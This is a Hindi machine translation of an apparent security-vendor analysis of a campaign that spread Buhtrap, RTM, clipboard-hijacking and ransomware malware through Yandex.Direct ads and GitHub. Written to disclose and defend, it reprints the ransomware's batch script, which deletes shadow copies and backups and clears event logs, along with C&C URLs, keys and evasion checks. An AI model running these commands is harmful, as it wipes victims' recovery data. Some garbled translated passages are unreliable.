पिछले दरवाजे और Buhtrap एन्क्रिप्टर Yandex.Direct का उपयोग करके वितरित किए गए थे

एकाउंटेंट पर साइबर हमले को लक्षित करने के लिए, आप उन कामकाजी दस्तावेजों का उपयोग कर सकते हैं, जिनकी वे नेटवर्क पर तलाश कर रहे हैं। पिछले कुछ महीनों में ऐसा कुछ हुआ है, जो एक ऐसा साइबर समूह है, जो जाने-माने बैकड्रॉप Buhtrap और RTM के साथ-साथ एन्क्रिप्टर्स और सॉफ्टवेयर को क्रिप्टोकरेंसी चुराने के लिए वितरित करता है। अधिकांश लक्ष्य रूस में स्थित हैं। हमले को Yandex.Direct में दुर्भावनापूर्ण विज्ञापन रखकर लागू किया गया है। संभावित पीड़ित एक साइट पर गए जहां उन्हें एक दुर्भावनापूर्ण फ़ाइल को दस्तावेज़ टेम्पलेट के रूप में प्रच्छन्न डाउनलोड करने के लिए कहा गया था। यैंडेक्स ने हमारी चेतावनी के बाद दुर्भावनापूर्ण विज्ञापन हटा दिए।

Buhtrap स्रोत कोड को अतीत में नेटवर्क में विलय कर दिया गया है, इसलिए कोई भी इसका उपयोग कर सकता है। हमारे पास आरटीएम कोड की उपलब्धता के बारे में जानकारी नहीं है।

एक पोस्ट में, हम बताएंगे कि कैसे हमलावरों ने Yandex.Direct का उपयोग करके मैलवेयर वितरित किया और इसे GitHub पर होस्ट किया। पोस्ट को मालवरी के तकनीकी विश्लेषण द्वारा पूरा किया जाएगा।

Buhtrap और RTM वापस व्यापार में

वितरण तंत्र और पीड़ित

पीड़ितों को दिए जाने वाले विभिन्न पेलोड एक समान वितरण तंत्र द्वारा एकजुट होते हैं। साइबर अपराधियों द्वारा बनाई गई सभी दुर्भावनापूर्ण फाइलें दो अलग-अलग गिटहब रिपॉजिटरी में स्थित थीं।

आमतौर पर रिपॉजिटरी में एक डाउनलोड की गई दुर्भावनापूर्ण फ़ाइल थी, जो अक्सर बदल जाती थी। चूंकि आप गिटहब पर रिपॉजिटरी में बदलाव का इतिहास देख सकते हैं, इसलिए हम देख सकते हैं कि एक निश्चित अवधि के दौरान किस तरह के मैलवेयर फैल गए हैं। एक दुर्भावनापूर्ण फ़ाइल को डाउनलोड करने के लिए पीड़ित को समझाने के लिए, साइट कोरी-शब्लोनी 24 []।] आरयू, ऊपर दिए गए चित्र में दिखाया गया था।

साइट का डिज़ाइन और सभी दुर्भावनापूर्ण फ़ाइलों के नाम एक ही अवधारणा के अनुरूप हैं - फॉर्म, टेम्प्लेट, कॉन्ट्रैक्ट, सैंपल इत्यादि। यह देखते हुए कि पहले से ही बहीट्रैप और आरटीएम सॉफ्टवेयर का उपयोग पहले से ही अकाउंटेंट पर हमलों में किया गया था, हमने मान लिया कि रणनीति नए अभियान में समान है। एकमात्र सवाल यह है कि पीड़ित हमलावरों की साइट पर कैसे पहुंचा।

संक्रमण

इस साइट पर कम से कम कुछ संभावित पीड़ित दुर्भावनापूर्ण विज्ञापन द्वारा आकर्षित हुए थे। निम्नलिखित एक उदाहरण URL है:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term= &pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

जैसा कि आप लिंक से देख सकते हैं, बैनर वैध अकाउंटिंग फोरम bb.f2 [।] Kz पर पोस्ट किया गया था। यह ध्यान रखना महत्वपूर्ण है कि बैनर विभिन्न साइटों पर दिखाई दिए, सभी के पास एक ही अभियान आईडी (blanki_rsya) थी, और अधिकांश लेखांकन या कानूनी सहायता सेवाओं से संबंधित थी। यह URL से देखा जा सकता है कि संभावित पीड़ित ने "डाउनलोड खाता फ़ॉर्म" अनुरोध का उपयोग किया था, जो लक्षित हमलों के बारे में हमारी परिकल्पना को मजबूत करता है। नीचे सूचीबद्ध साइटें हैं जहां बैनर और संबंधित खोजें दिखाई दीं।

• खाता प्रपत्र डाउनलोड करें - bb.f2 [।] kz
• नमूना अनुबंध - इपोपेन [।] एन
• बयान शिकायत का नमूना - 77metrov [।] आरयू
• अनुबंध प्रपत्र - रिक्त- dogovor-kupli-prodazhi [।] इं
• याचिका का नमूना - zen.yandex [।] आरयू
• नमूना शिकायत - yurday [।] एन
• नमूना अनुबंध के रूप - Regforum [।] इं
• अनुबंध प्रपत्र - सहायक [।] एन
• नमूना अपार्टमेंट समझौता - नैप्रवाह [।] कॉम
• कानूनी अनुबंध के नमूने - एविटो [।] आरयू

एक साधारण दृश्य मूल्यांकन के माध्यम से जाने के लिए आरयूआई साइट कोरी-शब्लोनी 24 [] आरयू साइट स्थापित किया गया है। एक नियम के रूप में, GitHub के लिंक के साथ एक पेशेवर दिखने वाली साइट के लिए विज्ञापन करना स्पष्ट रूप से कुछ बुरा नहीं लगता है। इसके अलावा, हमलावरों ने केवल सीमित अवधि के लिए रिपॉजिटरी में दुर्भावनापूर्ण फ़ाइलों को अपलोड किया, शायद अभियान के दौरान। GitHub पर अधिकांश रिपॉजिटरी एक खाली ज़िप संग्रह या क्लीन एक्स फ़ाइल थी। इस प्रकार, हमलावर यांडेक्स के माध्यम से विज्ञापन वितरित कर सकते हैं। उन साइटों पर अप्रत्यक्ष रूप से जो विशिष्ट खोज प्रश्नों के लिए आने वाले एकाउंटेंट द्वारा देखे गए थे।

अगला, इस तरह से वितरित विभिन्न पेलोड पर विचार करें।

पेलोड विश्लेषण

वितरण समयरेखा

मैलवेयर अभियान अक्टूबर 2018 के अंत में शुरू हुआ और पोस्ट लिखने के समय सक्रिय है। चूंकि संपूर्ण रिपॉजिटरी GitHub पर सार्वजनिक रूप से उपलब्ध थी, इसलिए हमने छह अलग-अलग मैलवेयर परिवारों के वितरण का एक सटीक कालक्रम तैयार किया (नीचे आंकड़ा देखें)। ईएसईटी टेलीमेट्री के अनुसार, जीआईटी इतिहास के साथ तुलना करने के लिए हमने एक बैनर लिंक का पता लगाने वाले क्षण को जोड़ा। जैसा कि आप देख सकते हैं, यह गिटहब पर पेलोड की उपलब्धता के साथ अच्छी तरह से संबंधित है। फरवरी के अंत में विसंगति को हमारे इतिहास के परिवर्तन की कमी के कारण से समझाया जा सकता है, क्योंकि रिपॉजिटरी को पूरी तरह से प्राप्त करने से पहले गिटहब से हटा दिया गया था।


चित्र 1. मालवरी के वितरण का कालक्रम।

प्रमाणपत्र हस्ताक्षर प्रमाण पत्र

अभियान ने बहुत सारे प्रमाणपत्रों का उपयोग किया। कुछ लोगों ने मैलवेयर के एक से अधिक परिवारों पर हस्ताक्षर किए हैं, जो अतिरिक्त रूप से इंगित करता है कि विभिन्न नमूने एक ही अभियान के हैं। निजी कुंजी की उपलब्धता के बावजूद, ऑपरेटरों ने बाइनरी फ़ाइलों को व्यवस्थित रूप से हस्ताक्षर नहीं किया और सभी नमूनों के लिए कुंजी का उपयोग नहीं किया। फरवरी 2019 के अंत में, हमलावरों ने Google के स्वामित्व वाले एक प्रमाण पत्र का उपयोग करके अमान्य हस्ताक्षर बनाने शुरू कर दिए, जिसमें उनके पास निजी कुंजी नहीं है।

अभियान में शामिल सभी प्रमाणपत्र और उनके हस्ताक्षर वाले मालवारी परिवार नीचे दी गई तालिका में सूचीबद्ध हैं।



हमने मैलवेयर के अन्य परिवारों के साथ संवाद करने के लिए इन कोड हस्ताक्षर प्रमाणपत्रों का भी उपयोग किया। अधिकांश प्रमाणपत्रों के लिए, हमें ऐसे नमूने नहीं मिले, जो GitHub रिपॉजिटरी के माध्यम से वितरित नहीं किए जाएंगे। हालांकि, TOV "MARIYA" प्रमाण पत्र का उपयोग माल्वारी पर हस्ताक्षर करने के लिए किया गया था, जिसके मालिक वेचोस बॉटनेट , एडवेयर और खनिक थे। यह मैलवेयर इस अभियान से जुड़े होने की संभावना नहीं है। सबसे अधिक संभावना है, प्रमाण पत्र को डार्कनेट पर खरीदा गया था।

Win32 / Filecoder.Buhtrap

पहला घटक जिसने हमारा ध्यान आकर्षित किया, वह पहला खोजा गया Win32 / Filecoder.Buhtrap था। यह एक डेल्फी बाइनरी फ़ाइल है जिसे कभी-कभी पैक किया जा सकता है। यह मुख्य रूप से फरवरी - मार्च 2019 में वितरित किया गया था। यह एक रैंसमवेयर प्रोग्राम के रूप में व्यवहार करता है - यह स्थानीय डिस्क और नेटवर्क फ़ोल्डरों की खोज करता है और खोजी गई फ़ाइलों को एन्क्रिप्ट करता है। समझौता करने के लिए, उसे इंटरनेट कनेक्शन की आवश्यकता नहीं है, क्योंकि वह एन्क्रिप्शन कुंजी भेजने के लिए सर्वर से संपर्क नहीं करता है। इसके बजाय, वह बायबैक संदेश के अंत में एक "टोकन" जोड़ता है, और ऑपरेटरों के साथ संवाद करने के लिए ईमेल या बिटमेसेज का उपयोग करने का सुझाव देता है।

जितना संभव हो उतने महत्वपूर्ण संसाधनों को एन्क्रिप्ट करने के लिए, Filecoder.Buhtrap ने कुंजी सॉफ़्टवेयर को बंद करने के लिए डिज़ाइन की गई एक स्ट्रीम लॉन्च की, जिसमें बहुमूल्य जानकारी के साथ खुले फ़ाइल हैंडलर हो सकते हैं, जो एन्क्रिप्शन में हस्तक्षेप कर सकते हैं। लक्ष्य प्रक्रियाएँ मुख्य रूप से डेटाबेस प्रबंधन प्रणाली (DBMS) हैं। इसके अलावा, Filecoder.Buhtrap डेटा रिकवरी को मुश्किल बनाने के लिए लॉग फ़ाइलों और बैकअप को हटा देता है। ऐसा करने के लिए, नीचे दी गई बैच स्क्रिप्ट निष्पादित होती है।

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib "%userprofile%\documents\Default.rdp" -s -h
del "%userprofile%\documents\Default.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap साइट आगंतुकों के बारे में जानकारी एकत्र करने के लिए बनाए गए वैध ऑनलाइन सेवा आईपी लॉगर का उपयोग करता है। इसका उद्देश्य एनकोडर के पीड़ितों को ट्रैक करना है, जिसके लिए कमांड लाइन जिम्मेदार है:

mshta.exe "javascript:document.write('');"

एन्क्रिप्शन के लिए फ़ाइलें तीन अपवाद सूचियों पर बेमेल के मामले में चुनी जाती हैं। सबसे पहले, निम्न एक्सटेंशन वाली फ़ाइलों को एन्क्रिप्ट नहीं किया गया है: .com, .cmd, .cpl, .dll .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys और। .bat। दूसरे, वे सभी फ़ाइलें जिनके लिए पूर्ण पथ में नीचे दी गई सूची से निर्देशिका लाइनें शामिल हैं।

\.{ED7BA470-8E54-465E-825C-99712043E01C}\
\tor browser\
\opera\
\opera software\
\mozilla\
\mozilla firefox\
\internet explorer\
\google\chrome\
\google\
\boot\
\application data\
\apple computer\safari\
\appdata\
\all users\
:\windows\
:\system volume information\
:\nvidia\
:\intel\

तीसरे, कुछ फ़ाइल नामों को भी एन्क्रिप्शन से बाहर रखा गया है, उनमें से फिरौती की मांग के साथ संदेश फ़ाइल का नाम है। सूची नीचे प्रस्तुत की गई है। जाहिर है, इन सभी अपवादों को मशीन को शुरू करने की क्षमता को संरक्षित करने के लिए डिज़ाइन किया गया है, लेकिन इसकी न्यूनतम प्रयोज्यता के साथ।

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

फ़ाइल एन्क्रिप्शन योजना

लॉन्च होने के बाद, मैलवेयर 512-बिट आरएसए कुंजियों की एक जोड़ी उत्पन्न करता है। निजी प्रतिपादक (डी) और मॉड्यूल (एन) को हार्ड-कोडित 2048-बिट सार्वजनिक कुंजी (सार्वजनिक घातांक और मॉड्यूल), ज़लीब-पैक और बेस 64 में एन्कोडेड का उपयोग करके एन्क्रिप्ट किया गया है। इसके लिए जिम्मेदार कोड चित्र 2 में दिखाया गया है।


चित्रा 2. हेक्स-किरणों का परिणाम 512-बिट आरएसए कुंजी जोड़ी बनाने की प्रक्रिया का अपघटन है।

निम्नलिखित एक उत्पन्न निजी कुंजी के साथ सादे पाठ का एक उदाहरण है, जो फिरौती संदेश से जुड़ा एक टोकन है।

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

हमलावरों की सार्वजनिक कुंजी नीचे दिखाई गई है।

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

256-बिट कुंजी के साथ AES-128-CBC का उपयोग करके फ़ाइलें एन्क्रिप्ट की जाती हैं। प्रत्येक एन्क्रिप्टेड फ़ाइल के लिए, एक नई कुंजी और एक नया इनिशियलाइज़ेशन वेक्टर उत्पन्न होता है। एन्क्रिप्टेड फ़ाइल के अंत में मुख्य जानकारी जोड़ी जाती है। एन्क्रिप्टेड फ़ाइल स्वरूप पर विचार करें।
एन्क्रिप्ट की गई फ़ाइलों में निम्नलिखित हेडर होते हैं:



VEGA मैजिक मान के अतिरिक्त के साथ स्रोत फ़ाइल का डेटा पहले 0x5000 बाइट्स तक एन्क्रिप्ट किया गया है। डिक्रिप्शन के लिए सभी जानकारी निम्न संरचना वाली फ़ाइल से जुड़ी हुई है:



- फाइल साइज मार्कर में एक लेबल होता है जो बताता है कि फाइल 0x5000 बाइट्स से बड़ी है या नहीं
- AES कुंजी बूँद = ZlibCompress (RSAEncrypt (AES कुंजी + IV, जनरेट की गई RSA कुंजी जोड़ी की सार्वजनिक कुंजी)
- RSA कुंजी बूँद = ZlibCompress (RSAEncrypt (RSA निजी कुंजी, हार्ड-कोडित RSA सार्वजनिक कुंजी) उत्पन्न

Win32 / ClipBanker

Win32 / ClipBanker एक घटक है जिसे अक्टूबर के अंत से दिसंबर 2018 के अंत तक रुक-रुक कर वितरित किया गया है। इसकी भूमिका क्लिपबोर्ड की सामग्री को ट्रैक करने के लिए है, यह क्रिप्टोक्यूरेंसी जेब के पते की तलाश करती है। लक्ष्य वॉलेट के पते को निर्धारित करने के बाद, क्लिपबैंकर इसे कथित ऑपरेटरों से संबंधित पते से बदल देता है। हमारे द्वारा अध्ययन किए गए नमूने न तो पैक किए गए थे और न ही मोटे तौर पर। नकाब व्यवहार के लिए प्रयुक्त एकमात्र तंत्र स्ट्रिंग एन्क्रिप्शन है। ऑपरेटरों की जेब के पते RC4 का उपयोग करके एन्क्रिप्ट किए गए हैं। लक्ष्य क्रिप्टोकरेंसी - बिटकॉइन, बिटकॉइन कैश, डॉगकोइन, एथेरियम और रिपल।

मालवेयर वितरण अवधि के दौरान, हमलावर की बिटकॉइन वॉलेट को MTC को एक छोटी राशि भेजी गई थी, जो अभियान की सफलता पर संदेह व्यक्त करती है। इसके अलावा, यह मानने का कोई कारण नहीं है कि ये लेनदेन आम तौर पर क्लिपबैंकर से संबंधित थे।

Win32 / RTM

Win32 / RTM घटक मार्च 2019 की शुरुआत में कई दिनों के लिए वितरित किया गया था। आरटीएम एक डेल्फी-आधारित ट्रोजन बैंकर है जिसका उद्देश्य दूरस्थ बैंकिंग प्रणाली है। 2017 में, ईएसईटी शोधकर्ताओं ने इस कार्यक्रम का एक विस्तृत विश्लेषण प्रकाशित किया, विवरण अभी भी प्रासंगिक है। जनवरी 2019 में, पालो ऑल्टो नेटवर्क ने RTM के बारे में एक ब्लॉग पोस्ट भी जारी किया।

Buhtrap डाउनलोडर

कुछ समय के लिए, एक डाउनलोडर पिछले Buhtrap टूल के विपरीत, GitHub पर उपलब्ध था। यह अगले चरण के लिए https://94.100.18[.]67/RSS.php?<some_id> जाता है और इसे सीधे मेमोरी में लोड करता है। दूसरे चरण के कोड के दो व्यवहारों को प्रतिष्ठित किया जा सकता है। पहले URL में, RSS.php ने सीधे Buhtrap backdoor को पास किया था - यह पिछले दरवाजे स्रोत कोड के लीक होने के बाद उपलब्ध एक समान है।

दिलचस्प बात यह है कि हम एक अभियान को एक बुह्रैप बैकडोर से देखते हैं, और संभवतः वे विभिन्न ऑपरेटरों के नेतृत्व में हैं। इस मामले में, मुख्य अंतर यह है कि पिछले दरवाजे को सीधे मेमोरी में लोड किया जाता है और डीएलएल परिनियोजन प्रक्रिया के साथ सामान्य योजना का उपयोग नहीं करता है, जिसके बारे में हमने पहले बात की थी । इसके अलावा, ऑपरेटरों ने RC4 कुंजी का उपयोग नेटवर्क ट्रैफिक को C & C सर्वर पर एन्क्रिप्ट करने के लिए किया। हमारे द्वारा देखे गए अधिकांश अभियानों में, ऑपरेटरों ने इस कुंजी को बदलने की परवाह नहीं की।

दूसरा, अधिक जटिल व्यवहार - RSS.php URL एक अन्य लोडर द्वारा पारित किया गया था। इसने कुछ गतिरोध को लागू किया, जैसे कि गतिशील आयात तालिका का पुनर्निर्माण। बूटलोडर का उद्देश्य C & C सर्वर msiofficeupd [।] कॉम / एपीआई / F27F84EDA4D13B15 / 2 से संपर्क करना, लॉग भेजना और उत्तर की प्रतीक्षा करना है। यह एक बूँद के रूप में प्रतिक्रिया को संसाधित करता है, इसे मेमोरी में लोड करता है, और निष्पादित करता है। इस लोडर को निष्पादित करते समय हमने जो पेलोड देखा था, वही बुह्रैप बैकडोर था, लेकिन अन्य घटक भी हो सकते हैं।

Android / Spy.Banker

दिलचस्प बात यह है कि GitHub रिपॉजिटरी में एंड्रॉइड के लिए एक घटक भी पाया गया था। वह केवल एक दिन के लिए मुख्य शाखा में था - 1 नवंबर, 2018। GitHub पर होस्ट किए जाने के अलावा, ESET टेलीमेट्री को इस मालवेयर के फैलने के सबूत नहीं मिले हैं।

घटक को एंड्रॉइड एप्लिकेशन पैकेज (एपीके) के रूप में होस्ट किया गया था। वह बहुत मोटे हैं। दुर्भावनापूर्ण व्यवहार एपीके में स्थित एन्क्रिप्टेड JAR में छिपा हुआ है। यह इस कुंजी के साथ एन्क्रिप्टेड RC4 है:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

तार को एन्क्रिप्ट करने के लिए एक ही कुंजी और एल्गोरिथ्म का उपयोग किया जाता है। JAR APK_ROOT + image/files में स्थित है। फ़ाइल के पहले 4 बाइट्स में एन्क्रिप्टेड JAR की लंबाई होती है, जो लंबाई फ़ील्ड के तुरंत बाद शुरू होती है।

फ़ाइल को डिक्रिप्ट करने के बाद, हमने पाया कि यह Anubis है - एंड्रॉइड के लिए पहले से प्रलेखित बैंकर। दुर्भावनापूर्ण सॉफ़्टवेयर के निम्न कार्य हैं:

• माइक्रोफोन रिकॉर्डिंग
• स्क्रीनशॉट ले रहे हैं
• जीपीएस निर्देशांक प्राप्त करना
• keylogger
• डिवाइस डेटा एन्क्रिप्शन और फिरौती की मांग
• स्पैमिंग

दिलचस्प बात यह है कि बैंकर ने एक अन्य C & C सर्वर प्राप्त करने के लिए एक बैकअप संचार चैनल के रूप में ट्विटर का उपयोग किया। हमने जो सैंपल का विश्लेषण किया, उसमें @JohnesTrader खाते का उपयोग किया गया था, लेकिन विश्लेषण के समय यह पहले ही अवरुद्ध था।

बैंकर में एंड्रॉइड डिवाइस पर लक्षित अनुप्रयोगों की एक सूची होती है। यह सोफोस अध्ययन से प्राप्त सूची से अधिक लंबा हो गया है। सूची में कई बैंकिंग एप्लिकेशन, ऑनलाइन शॉपिंग कार्यक्रम जैसे कि अमेज़ॅन और ईबे, क्रिप्टोक्यूरेंसी सेवाएं शामिल हैं।

MSIL / ClipBanker.IH

अंतिम घटक जो इस अभियान के भाग के रूप में वितरित किया गया था, वह था .NET विंडोज निष्पादन योग्य, जो मार्च 2019 में दिखाई दिया। अधिकांश अध्ययन किए गए संस्करण कन्फ्यूशेर v1.0.0 द्वारा पैक किए गए थे। ClipBanker की तरह, यह घटक क्लिपबोर्ड का उपयोग करता है। इसका लक्ष्य क्रिप्टोकरेंसी की एक विस्तृत श्रृंखला है, साथ ही स्टीम पर प्रस्ताव भी है। इसके अलावा, यह बिटकॉइन की निजी WIF कुंजी चोरी करने के लिए IP लकड़हारा सेवा का उपयोग करता है।

सुरक्षा तंत्र
कन्फ़्यूशेरएक्स डिबगिंग, डंपिंग और छेड़छाड़ के रूप में प्रदान करता है फायदे के अलावा, घटक में एंटी-वायरस उत्पादों और आभासी मशीनों का पता लगाने की क्षमता है।

वर्चुअल मशीन में लॉन्च की जांच करने के लिए, मैलवेयर, विंडोज निर्मित WMI कमांड लाइन (WMIC) का उपयोग करके BIOS के बारे में जानकारी का अनुरोध करता है, अर्थात्:

wmic bios

तब प्रोग्राम कमांड के आउटपुट को पार्स करता है और कीवर्ड की खोज करता है: VBOX, VirtualBox, XEN, qemu, bochs, VM।

एंटीवायरस उत्पादों का पता लगाने के लिए, मैलवेयर विंडोज सिक्योरिटी सेंटर को ManagementObjectSearcher एपीआई का उपयोग करके विंडोज सिक्योरिटी इंस्ट्रूमेंटेशन (डब्ल्यूएमआई) अनुरोध भेजता है जैसा कि नीचे दिखाया गया है। Base64 से डिकोड करने के बाद, कॉल इस तरह दिखता है:

ManagementObjectSearcher('root\\SecurityCenter2', 'SELECT * FROM AntivirusProduct')


चित्रा 3. एंटीवायरस उत्पादों का निर्धारण करने की प्रक्रिया।

इसके अलावा, मैलवेयर यह देखने के लिए जांचता है कि क्या क्लिपबोर्ड के हमलों से बचाने के लिए एक उपकरण CryptoClipWatcher चल रहा है, और यदि यह चल रहा है, तो यह इस प्रक्रिया के सभी थ्रेड को रोक देता है, जिससे सुरक्षा बंद हो जाती है।

हठ

मैलवेयर संस्करण, जिसका हमने स्वयं अध्ययन करके %APPDATA%\google\updater.exe और Google निर्देशिका में "छिपी" विशेषता सेट करता है। फिर यह Windows रजिस्ट्री में Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell का मान बदलता है और पथ updater.exe जोड़ता है। तो हर बार जब उपयोगकर्ता लॉग इन करता है तो मालवेयर निष्पादित हो जाएगा।

दुर्भावनापूर्ण व्यवहार

ClipBanker की तरह, मालवेयर क्लिपबोर्ड की सामग्री पर नज़र रखता है और क्रिप्टोक्यूरेंसी जेब के पते की तलाश करता है, और जब यह पता चलता है, तो इसे ऑपरेटर के किसी एक पते से बदल देता है। नीचे कोड में पाया गया था के आधार पर गंतव्य पते की एक सूची है।

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

प्रत्येक प्रकार के पते के लिए एक समान नियमित अभिव्यक्ति है। स्टीम प्रणाली पर हमला करने के लिए STEAM_URL का उपयोग किया जाता है, जैसा कि नियमित अभिव्यक्ति से देखा जा सकता है, जिसका उपयोग बफर में निर्धारित करने के लिए किया जाता है:

\b(https:\/\/|http:\/\/|)steamcommunity\.com\/tradeoffer\/new\/\?partner=[0-9]+&token=[a-zA-Z0-9]+\b

एक्सफ़िलिएशन चैनल

बफर में पतों को बदलने के अलावा, मैलवेयर का उद्देश्य बिटकॉइन, बिटकॉइन कोर और इलेक्ट्रम बिटकॉइन पर्स की निजी डब्ल्यूआईएफ कुंजी है। WIF निजी कुंजी प्राप्त करने के लिए प्रोग्राम plogger.org को एक एक्सफ़िल्टरेशन चैनल के रूप में उपयोग करता है। ऐसा करने के लिए, ऑपरेटर उपयोगकर्ता-एजेंट HTTP हेडर में निजी कुंजी डेटा जोड़ते हैं, जैसा कि नीचे दिखाया गया है।


चित्रा 4. आउटपुट के साथ आईपी लकड़हारा कंसोल।

ऑपरेटर्स ने बटुए को बाहर निकालने के लिए iplogger.org का इस्तेमाल नहीं किया। आईपी ​​लॉगर वेब इंटरफेस में प्रदर्शित User-Agent क्षेत्र में 255 वर्णों के प्रतिबंध के कारण संभवतः उन्होंने एक अलग तरीके का सहारा लिया। जिन नमूनों का हमने अध्ययन किया, DiscordWebHook डेटा को आउटपुट करने के लिए एक और सर्वर DiscordWebHook पर्यावरण DiscordWebHook में संग्रहीत किया गया था। हैरानी की बात है, यह पर्यावरण चर कोड में कहीं भी असाइन नहीं किया गया है। इससे पता चलता है कि मैलवेयर अभी भी विकास के अधीन है, और चर को ऑपरेटर की परीक्षण मशीन पर सौंपा गया है।

एक और संकेत है कि कार्यक्रम विकास में है। बाइनरी में दो iplogger.org URL शामिल हैं, और डेटा को एक्सफ़िल्टर करते समय दोनों को एक अनुरोध भेजा जाता है। इनमें से किसी एक URL के अनुरोध में, रेफ़र फ़ील्ड का मान "DEV /" से पहले होता है। हमें एक ऐसा संस्करण भी मिला, जिसे कन्फ्यूसरएक्स का उपयोग करके पैक नहीं किया गया था, इस URL के प्राप्तकर्ता को DevFeedbackUrl नाम दिया गया है। पर्यावरण चर के नाम के आधार पर, हमारा मानना ​​है कि ऑपरेटर क्रिप्टोक्यूरेंसी वॉलेट को चुराने के लिए वैध डिसॉर्ड सेवा और इसके वेब अवरोधन प्रणाली का उपयोग करने की योजना बनाते हैं।

निष्कर्ष

यह अभियान साइबर हमलों में वैध विज्ञापन सेवाओं के उपयोग का एक उदाहरण है। योजना रूसी संगठनों के उद्देश्य से है, लेकिन हम गैर-रूसी सेवाओं का उपयोग करके इस तरह के हमले को देखकर आश्चर्यचकित नहीं होंगे। समझौता से बचने के लिए, उपयोगकर्ताओं को डाउनलोड किए गए सॉफ़्टवेयर के स्रोत की प्रतिष्ठा में विश्वास होना चाहिए।

समझौता और विशेषताओं के MITER ATT & CK संकेतकों की एक पूरी सूची यहां उपलब्ध है ।